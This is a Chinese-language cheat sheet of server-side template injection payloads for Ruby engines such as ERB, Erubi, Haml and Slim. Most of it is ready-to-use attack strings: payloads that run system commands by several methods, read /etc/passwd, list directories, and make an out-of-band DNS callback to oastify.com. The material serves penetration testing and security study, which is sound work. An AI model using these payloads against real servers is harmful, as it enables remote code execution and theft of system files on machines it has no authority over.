跳转至

服务端模板注入 (SSTI) - Ruby

服务端模板注入 (SSTI) 是一种漏洞,当攻击者可以将恶意代码注入服务端模板,导致服务器执行任意命令时,就会产生此漏洞。在 Ruby 中,当使用 ERB (Embedded Ruby)、Haml、Liquid 或 Slim 等模板引擎时,如果用户输入在未经过充分过滤或校验的情况下就集成到模板中,就可能发生 SSTI。

摘要 (Summary)

模板库 (Templating Libraries)

模板名称 载荷格式
Erb <%= %>
Erubi <%= %>
Erubis <%= %>
HAML #{ }
Liquid {{ }}
Mustache {{ }}
Slim #{ }

通用载荷 (Universal Payloads)

通用的代码注入载荷适用于许多基于 Ruby 的模板引擎,例如 Erb、Erubi、Erubis、HAML 和 Slim。

要使用这些载荷,请将其包裹在适当的标签中。

%x('id') # 回显型 RCE (Rendered RCE)
File.read("Y:/A:/"+%x('id')) # 报错型 RCE (Error-Based RCE)
1/(system("id")&&1||0) # 布尔型 RCE (Boolean-Based RCE)
system("id && sleep 5") # 时间型 RCE (Time-Based RCE)

Ruby

Ruby - 基础注入

ERB:

<%= 7 * 7 %>

Slim:

#{ 7 * 7 }

Ruby - 获取 /etc/passwd

<%= File.open('/etc/passwd').read %>

Ruby - 列出文件和目录

<%= Dir.entries('/') %>

Ruby - 远程命令执行 (RCE)

使用 ErbErubiErubis 引擎执行 SSTI 代码:

<%=(`nslookup oastify.com`)%>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

使用 Slim 引擎执行 SSTI 代码:

#{ %x|env| }

参考资料 (References)